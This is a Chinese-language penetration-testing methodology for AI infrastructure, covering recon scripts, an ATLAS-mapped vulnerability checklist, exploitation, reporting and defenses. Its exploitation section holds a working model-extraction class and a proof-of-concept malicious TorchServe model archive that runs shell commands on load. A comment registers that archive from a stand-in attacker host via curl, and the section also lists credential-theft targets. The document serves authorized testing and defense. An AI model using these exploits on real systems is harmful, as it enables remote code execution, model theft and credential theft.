AI 基礎設施的滲透測試方法論
針對 AI/ML 系統的結構化滲透測試方法論,涵蓋偵查、漏洞評估、利用與報告撰寫。
概觀
對 AI 基礎設施進行滲透測試需將傳統基礎設施與應用測試方法,擴充至 AI 特有技術。雖然滲透測試的標準階段——偵查、掃描、漏洞評估、利用與報告——仍適用,但目標、技巧與衝擊評估對 AI 系統而言差異甚大。
傳統滲透測試聚焦於取得未授權存取、權限提升與資料外洩。AI 基礎設施滲透測試還需評估:模型盜竊風險、訓練資料曝露、推論操縱能力、模型投毒向量,以及從資料收集到部署的整個 ML 生命週期安全性。這些 AI 特有風險對應至 MITRE ATLAS 框架,該框架將 ATT&CK 擴充至機器學習攻擊手法。
AI 基礎設施滲透測試的範圍通常包括:模型服務端點與其管理介面、訓練叢集基礎設施(GPU 節點、排程器、共享儲存)、ML 管線編排(Kubeflow、Airflow、自訂系統)、模型與工件登錄檔(MLflow、Weights & Biases、自訂登錄檔)、資料儲存與特徵儲存、實驗追蹤與監控系統,以及模型部署的 CI/CD 管線。每個元件各有獨特漏洞樣態,需要專門測試方法。
本文提出一套完整的 AI 基礎設施滲透測試方法論,依階段組織,每階段附帶具體技術、工具與交付成果。此方法論參考 OWASP、PTES(Penetration Testing Execution Standard)、NIST AI RMF 與 MITRE ATLAS。
階段一:偵查與範圍界定
被動偵查
在任何主動測試之前,先以被動手段蒐集目標 AI 基礎設施的資訊:
"""
AI infrastructure reconnaissance toolkit.
Gathers information about target AI systems through passive
and semi-passive techniques.
"""
import socket
import json
from dataclasses import dataclass, field
@dataclass
class ReconResult:
target: str
ml_frameworks: list[str] = field(default_factory=list)
serving_endpoints: list[dict] = field(default_factory=list)
storage_buckets: list[str] = field(default_factory=list)
class AIInfraRecon:
"""Passive and semi-passive recon for AI infrastructure."""
# Common ports for AI services
AI_SERVICE_PORTS = {
5000: "MLflow Tracking Server",
5001: "MLflow Model Serving",
6006: "TensorBoard",
8000: "Triton HTTP / vLLM",
8001: "Triton gRPC",
8002: "Triton Metrics",
8080: "TorchServe Inference / Seldon",
8081: "TorchServe Management",
8082: "TorchServe Metrics",
8265: "Ray Dashboard",
8443: "Kubeflow Dashboard",
8501: "TensorFlow Serving REST",
8500: "TensorFlow Serving gRPC",
8786: "Dask Scheduler",
8787: "Dask Dashboard",
8888: "Jupyter Notebook",
9090: "Prometheus",
3000: "Grafana",
9001: "MinIO Console",
9000: "MinIO API",
4040: "Spark UI",
8998: "Livy (Spark REST)",
}
# Path-based fingerprints for AI services
FINGERPRINT_PATHS = {
"/api/2.0/mlflow/experiments/list": "MLflow",
"/v2": "Triton Inference Server",
"/v1/models": "vLLM / OpenAI API",
"/api/sessions": "Jupyter Notebook",
"/models": "TorchServe",
"/v1/models/": "TensorFlow Serving",
"/data/runs": "TensorBoard",
"/api/v1/nodes": "Ray",
"/pipeline/apis/v2beta1/pipelines": "Kubeflow Pipelines",
}
def __init__(self, target: str):
self.target = target
self.result = ReconResult(target=target)
def scan_ai_ports(self, timeout: float = 2.0) -> list[dict]:
"""Semi-passive TCP connect scan for AI service ports."""
open_ports = []
for port, service in self.AI_SERVICE_PORTS.items():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
if sock.connect_ex((self.target, port)) == 0:
open_ports.append({"port": port, "service": service})
sock.close()
except OSError:
continue
self.result.serving_endpoints.extend(open_ports)
return open_ports
def enumerate_cloud_storage(self, company_name: str) -> list[str]:
"""Generate candidate bucket names for AI asset enumeration."""
prefixes = [company_name, company_name.replace("-", "")]
suffixes = ["training-data", "models", "datasets", "ml-artifacts",
"model-registry", "checkpoints", "embeddings",
"sagemaker", "mlflow", "feature-store"]
return [f"{p}-{s}" for p in prefixes for s in suffixes]此工具箱採用被動與半被動手法:列舉 AI 服務常用埠(MLflow 5000、Triton 8000、TorchServe 8080/8081、Kubeflow 8443、Jupyter 8888 等)、依路徑指紋識別(/v2 代表 Triton、/v1/models 代表 vLLM、/api/sessions 代表 Jupyter)、依公司命名慣例生成候選 S3/GCS 儲存桶名(常見字尾:training-data、models、mlflow、feature-store 等)。同時可檢查公開 GitHub 儲存庫內的 ML 框架 import、SageMaker/Kubeflow 使用、以及意外提交的憑證(aws_access_key_id、MLFLOW_TRACKING_URI、WANDB_API_KEY、HF_TOKEN、OPENAI_API_KEY 等)。
主動列舉
被動偵查之後,進行主動列舉以識別具體服務、版本與組態:
#!/usr/bin/env bash
# Active enumeration of AI infrastructure services
TARGET="${1:?Usage: $0 <target_host>}"
# 1. Port scan on the AI service port list
nmap -sV -p 3000,4040,5000,5001,6006,8000-8002,8080-8082,8265,8443,\
8500,8501,8786-8788,8888,8998,9000,9001,9090,18080 \
--open -oN "ai_ports_${TARGET}.txt" "$TARGET"
# 2. HTTP fingerprinting: probe service-specific paths on each open port
for port in 5000 8000 8080 8501 8888; do
for path in "/v2" "/models" "/v1/models" \
"/api/2.0/mlflow/experiments/list" \
"/api/sessions" "/health"; do
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
--connect-timeout 3 "http://${TARGET}:${port}${path}")
[ "$HTTP_CODE" = "200" ] || [ "$HTTP_CODE" = "401" ] \
&& echo "port $port: $path -> $HTTP_CODE"
done
done
# 3. Probe OpenAI-compatible API (vLLM, LiteLLM) on port 8000
curl -s --connect-timeout 3 "http://${TARGET}:8000/v1/models" \
| python3 -m json.tool此指令稿先以 Nmap 鎖定 AI 服務埠,再透過 curl 嘗試服務特定路徑:回傳 200 通常表示未認證開放,回傳 401 代表服務存在但需要認證。最後查詢 /v1/models 以確認是否為 OpenAI 相容 API(vLLM、LiteLLM、TGI 等)——這類端點回應中的模型名稱、最大上下文、配額資訊都能協助後續規劃攻擊。
階段二:漏洞評估
AI 特有漏洞檢查清單
將已發現服務對應至已知漏洞樣態(以 MITRE ATLAS 手法分類):
| ATLAS 手法 | 基礎設施目標 | 測試方式 |
|---|---|---|
| AML.T0024 — 透過 ML 推論 API 的外洩 | 模型服務端點 | 查詢模型以萃取訓練資料或模型架構 |
| AML.T0020 — 訓練資料投毒 | 資料儲存、管線 | 測試對訓練資料位置的寫入存取 |
| AML.T0010 — ML 供應鏈入侵 | 模型登錄檔、套件庫 | 檢查未簽章模型、具漏洞的相依項 |
| AML.T0043 — 對抗性資料構造 | 推論端點 | 提交對抗性輸入以測試模型穩健度 |
| AML.T0048 — 資源劫持 | GPU 排程器、運算節點 | 測試未授權運算存取 |
"""AI infrastructure vulnerability check catalog."""
from dataclasses import dataclass
from enum import Enum
class RiskLevel(Enum):
CRITICAL = "critical"
HIGH = "high"
MEDIUM = "medium"
LOW = "low"
INFO = "info"
@dataclass
class VulnerabilityCheck:
check_id: str
name: str
atlas_technique: str
risk_level: RiskLevel
target_service: str
description: str
test_procedure: str
remediation: str
# Five representative checks map the most impactful AI vulnerabilities:
AI_VULN_CHECKS = [
VulnerabilityCheck(
check_id="AI-SERVE-001",
name="Unauthenticated Model Management API",
atlas_technique="AML.T0010",
risk_level=RiskLevel.CRITICAL,
target_service="TorchServe",
description=("TorchServe management API on 8081 allows model "
"registration that executes arbitrary Python."),
test_procedure="GET /models on 8081; POST /models with test URL.",
remediation="Bind mgmt API to localhost; upgrade >= 0.8.2.",
),
VulnerabilityCheck(
check_id="AI-SERVE-002",
name="Model Information Disclosure",
atlas_technique="AML.T0024",
risk_level=RiskLevel.MEDIUM,
target_service="Triton/vLLM/TorchServe",
description="Metadata endpoints expose architecture and shapes.",
test_procedure="Query /v2/models/<n>/config, /v1/models, /models/<n>.",
remediation="Restrict metadata endpoints to authenticated clients.",
),
VulnerabilityCheck(
check_id="AI-DATA-001",
name="Training Data Storage Public Access",
atlas_technique="AML.T0020",
risk_level=RiskLevel.CRITICAL,
target_service="S3/GCS/Azure Blob",
description="Public cloud storage exposes training data.",
test_procedure="Enumerate buckets; test list/read/write access.",
remediation="Enable Block Public Access; versioning; Object Lock.",
),
VulnerabilityCheck(
check_id="AI-PIPE-001",
name="Unauthenticated Pipeline Orchestrator",
atlas_technique="AML.T0010",
risk_level=RiskLevel.CRITICAL,
target_service="Kubeflow/Airflow",
description="Orchestrators without auth allow arbitrary runs.",
test_procedure="Access dashboards on 8443/8080; submit pipeline.",
remediation="Enable OIDC/RBAC; use NetworkPolicies.",
),
VulnerabilityCheck(
check_id="AI-GPU-001",
name="GPU Memory Cross-Tenant Leakage",
atlas_technique="AML.T0024",
risk_level=RiskLevel.HIGH,
target_service="GPU Clusters",
description="GPU memory not cleared between job allocations.",
test_procedure="Write pattern, release GPU, reallocate, read memory.",
remediation="Enable MPS/MIG; clear GPU memory in scheduler.",
),
]五項代表性檢查涵蓋最具衝擊性的 AI 基礎設施漏洞:TorchServe 管理 API 未認證(註冊惡意模型即達成 RCE);Triton/vLLM 模型中繼資料揭露;訓練資料儲存桶公開存取;Kubeflow/Airflow 編排器未認證;GPU 記憶體跨租戶洩漏。評估引擎會依已發現服務過濾檢查項,再依風險等級(CRITICAL → INFO)排序產出測試計畫 JSON,供執行階段使用。
階段三:利用
透過推論 API 進行模型盜竊
AI 特有利用中衝擊最大的手法之一是透過推論 API 盜竊模型。攻擊者以精心構造的輸入系統性地查詢模型並收集輸出,即可訓練出一份複製目標行為的替身模型(surrogate model)。
"""Model extraction via inference API — for authorized testing only."""
import requests
import time
import json
from typing import Optional
class ModelExtractionAttack:
def __init__(self, target_url: str, model_name: str = "default",
rate_limit: float = 0.1):
self.target_url = target_url.rstrip("/")
self.model_name = model_name
self.rate_limit = rate_limit
self.query_count = 0
self.collected_pairs: list[dict] = []
def query_model(self, input_data: dict, timeout: int = 30) -> Optional[dict]:
"""Single query with temperature=0 for deterministic extraction."""
try:
resp = requests.post(
f"{self.target_url}/v1/completions",
json={"model": self.model_name,
"prompt": input_data.get("prompt", ""),
"max_tokens": input_data.get("max_tokens", 100),
"temperature": 0.0,
"logprobs": 5},
timeout=timeout,
)
self.query_count += 1
if resp.status_code == 200:
return resp.json()
if resp.status_code == 429:
time.sleep(5) # Backoff on rate limit
except requests.RequestException:
pass
return None
def generate_extraction_queries(self, num_queries: int = 1000) -> list[dict]:
"""Three query strategies for model behavior mapping."""
queries = []
# Strategy 1: systematic prompt templates spanning domains
# Strategy 2: length-varied inputs probe context window behavior
for length in [10, 50, 100, 500]:
queries.append({"prompt": "word " * length, "max_tokens": 50,
"strategy": "length_probe"})
# Strategy 3: special-token probing to identify tokenizer/family
for token in ["<|endoftext|>", "[INST]", "<<SYS>>",
"<s>", "</s>", "[PAD]"]:
queries.append({"prompt": f"Repeat: {token}", "max_tokens": 50,
"strategy": "token_probe"})
return queries[:num_queries]
def run_extraction(self, num_queries: int = 100,
output_path: str = "extraction_results.jsonl") -> dict:
queries = self.generate_extraction_queries(num_queries=num_queries)
with open(output_path, "w") as f:
for i, query in enumerate(queries):
if result := self.query_model(query):
pair = {"input": query, "output": result, "query_num": i}
f.write(json.dumps(pair) + "\n")
self.collected_pairs.append(pair)
time.sleep(self.rate_limit)
return {"total_queries": self.query_count,
"successful_pairs": len(self.collected_pairs)}此模型萃取範本採用三種查詢策略:系統化提示詞模板(跨領域涵蓋)、長度變化探測(映射上下文視窗行為)、特殊符元探測(<|endoftext|>、[INST]、<s> 等可揭示分詞器與模型家族)。所有查詢以 temperature=0 執行以取得決定性輸出;若可請求則索取 logprobs 以大幅提升替身模型訓練效率。對 HTTP 429 採退讓重試。實驗顯示:對一般分類模型,數千次查詢即足以訓練出準確度逼近原模型的替身;對 LLM 而言,查詢數量需以數萬計,但若未實施有效速率限制、per-client 配額與異常查詢模式偵測,仍為可行的攻擊。
管線利用:透過模型註冊取得任意程式執行
當模型服務框架支援動態模型載入與自訂處理器(TorchServe、Triton 的 Python backend),註冊惡意模型即可達成遠端程式執行(RCE),這是 AI 滲透測試的關鍵利用手法之一。
"""PoC malicious TorchServe MAR archive — for authorized testing only."""
import os
import zipfile
import json
import tempfile
def create_poc_torchserve_handler(command: str = "id") -> str:
"""Handler executes a benign command on initialize() to prove RCE."""
return f'''
import subprocess, logging
from ts.torch_handler.base_handler import BaseHandler
logger = logging.getLogger(__name__)
class PoCHandler(BaseHandler):
def initialize(self, context):
# Load-time RCE: subprocess runs when model is registered
result = subprocess.run(["{command}"], capture_output=True,
text=True, timeout=5, shell=True)
# Write proof-of-execution artifact to a known location
with open("/tmp/pentest_poc_output.txt", "w") as f:
f.write(f"Command: {command}\\n")
f.write(f"Output: {{result.stdout}}\\n")
self.initialized = True
def handle(self, data, context):
return ["PoC model loaded successfully"]
'''
def create_mar_archive(output_path: str, model_name: str = "security_test",
command: str = "id && hostname && whoami") -> str:
"""Package handler + stub model + manifest as .mar (ZIP) archive."""
with tempfile.TemporaryDirectory() as tmpdir:
handler_path = os.path.join(tmpdir, "handler.py")
with open(handler_path, "w") as f:
f.write(create_poc_torchserve_handler(command))
# Stub model file (required by .mar format)
model_path = os.path.join(tmpdir, "model.pt")
with open(model_path, "wb") as f:
f.write(b"PLACEHOLDER")
# MANIFEST.json declaring the handler entry point
manifest = {"runtime": "python",
"model": {"modelName": model_name,
"handler": "handler.py"}}
manifest_path = os.path.join(tmpdir, "MAR-INF/MANIFEST.json")
os.makedirs(os.path.dirname(manifest_path), exist_ok=True)
with open(manifest_path, "w") as f:
json.dump(manifest, f)
mar_path = output_path if output_path.endswith(".mar") else f"{output_path}.mar"
with zipfile.ZipFile(mar_path, "w", zipfile.ZIP_DEFLATED) as zf:
zf.write(handler_path, "handler.py")
zf.write(model_path, "model.pt")
zf.write(manifest_path, "MAR-INF/MANIFEST.json")
return mar_path
# Register the malicious model via management API:
# curl -X POST 'http://target:8081/models?url=http://attacker.com/poc.mar'此概念驗證建立 .mar 模型封存檔(本質為 ZIP 壓縮檔),內含:PoC 處理器(於 initialize() 執行任意 shell 指令)、必需的 stub model.pt、宣告處理器進入點的 MANIFEST.json。只要 TorchServe 管理埠(8081)暴露且允許遠端 URL 註冊,攻擊者主機上託管此 .mar 即可達成載入時 RCE——以服務帳號權限執行。對 Triton Python backend 亦存在類似路徑,差異僅在模型封裝格式與設定檔(config.pbtxt)。
從 AI 基礎設施竊取憑證
AI 基礎設施是憑證竊取的豐沃目標,因為:
- 訓練工作通常持有可存取資料湖、模型登錄檔與雲端服務的 IAM 角色
- Jupyter notebook 常內嵌 AWS 金鑰、資料庫密碼與 API 權杖
- MLflow 與實驗追蹤系統儲存工件位置,揭露雲端儲存路徑
- 容器化 AI 服務的環境變數經常包含機密
滲透測試中應聚焦以下憑證來源:
- Kubernetes secrets(AI 命名空間中的掛載卷,檢查 base64 編碼憑證)
- 環境變數(GPU Pod 規格中)
- Jupyter notebook 內容(搜尋
API_KEY、SECRET、PASSWORD、連線字串) - MLflow 工件 URI(揭露 S3/GCS 儲存桶路徑與可能的存取金鑰)
- Docker 映像檔層(建置時烘焙進容器映像的憑證)
階段四:報告撰寫
AI 滲透測試報告除傳統章節外,還應包含 AI 特有的風險評估。關鍵新增項目:
- 模型盜竊風險評估:量化萃取出功能等效模型所需的查詢次數,以及現有速率限制是否足以阻止。
- 資料投毒衝擊評估:若取得訓練資料寫入權,描述對模型行為的潛在影響。
- MITRE ATLAS 對應:所有發現對應至 ATLAS 手法以利一致溝通。
- AI 法規合規:標示與歐盟 AI 法案、NIST AI RMF 或產業別 AI 法規相關的發現。
報告範本結構
妥善結構化的 AI 滲透測試報告應依下列大綱撰寫:
- 執行摘要:發現的業務衝擊、整體風險姿態、與同業基準比較。
- 範圍與方法論:受測元件、測試方式(黑盒/灰盒/白盒)、時間區間、使用工具、涵蓋的 ATLAS 手法。
- 發現摘要表:每項發現附嚴重度、ATLAS 對應、受影響元件、改善狀態。
- 詳細發現:每項發現均含:
- 描述與技術細節
- 重現步驟
- 證據(截圖、日誌、擷取資料)
- ATLAS 手法對應
- 業務衝擊評估
- 改善建議與優先順序
- AI 特有風險評估:
- 模型盜竊可行性(估算所需查詢數、當前速率限制有效性)
- 資料投毒向量分析(哪些訓練資料儲存可寫、現有控制為何)
- 推論操縱風險(能否構造輸入以產生攻擊者期望的輸出)
- 供應鏈風險(模型相依性、未簽章工件、未驗證套件)
- 改善路線圖:依優先順序排列的改善清單,含工作量估計與建議時程。
防禦與緩解
將 AI 系統納入所有滲透測試範圍:AI 基礎設施應明確納入滲透測試範圍,不應視為獨立系統。與 ML 工程團隊協調以定義符合實際的威脅情境。
實施 AI 特有偵測:部署針對模型萃取企圖(異常查詢樣態)、資料投毒指標(訓練資料異常變動)與未授權模型存取的監控。
採用 MITRE ATLAS 作為框架:以 ATLAS 系統性評估對 AI 攻擊手法的涵蓋度,並依組織風險優先部署防禦。
定期測試節奏:AI 系統隨模型更新與管線演進而迅速變化。相較於每年一次的評估,每季滲透測試或持續紅隊演練更為合適。
將發現整合進 AI 治理:滲透測試發現應饋入組織的 AI 風險管理框架(對齊 NIST AI RMF),並影響模型部署決策。
建立 AI 紅隊能力:組建同時具備傳統滲透測試與 AI/ML 安全專業的內部團隊,或聘請專業廠商。此技能組合交集稀少且價值高。模擬針對 AI 系統之進階持續性威脅的紅隊演練,能最貼近實際地評估組織準備度。
建置可重現的測試環境:維護能鏡像生產 AI 基礎設施的預備環境,以安全進行滲透測試。環境應包含具代表性的模型部署、範本訓練資料與貼近實際的管線組態,確保測試能準確反映生產風險而不危及生產系統。
測試完整 ML 生命週期:不要將滲透測試侷限於服務層。應測試整個 ML 生命週期:資料汲取與驗證管線、訓練基礎設施與工作排程、模型登錄檔與工件管理、部署自動化與回退機制,以及監控與警示系統。每個階段均有獨特漏洞。從汲取、訓練到部署的全流程測試,能以攻擊者視角發現個別元件測試無法察覺的信任邊界轉換漏洞。尤其應特別留意系統之間的交接點——資料離開某元件安全邊界進入另一元件的地方。這些邊界跨越點往往藏有衝擊最大的漏洞,因為它們常缺少個別元件內部一致的安全控制。
參考資料
- MITRE. (2024). "ATLAS: Adversarial Threat Landscape for AI Systems." https://atlas.mitre.org/
- OWASP. (2025). "OWASP Machine Learning Security Top 10." https://owasp.org/www-project-machine-learning-security-top-10/
- NIST. (2023). "AI Risk Management Framework (AI RMF 1.0)." https://airc.nist.gov/AI_RMF_Interactivity/
- Penetration Testing Execution Standard (PTES). http://www.pentest-standard.org/
- European Union. (2024). "EU AI Act." Regulation laying down harmonized rules on artificial intelligence. https://artificialintelligenceact.eu/
- Grosse, K., et al. (2023). "Machine Learning Security: Threats, Countermeasures, and Evaluations." IEEE Access. https://ieeexplore.ieee.org/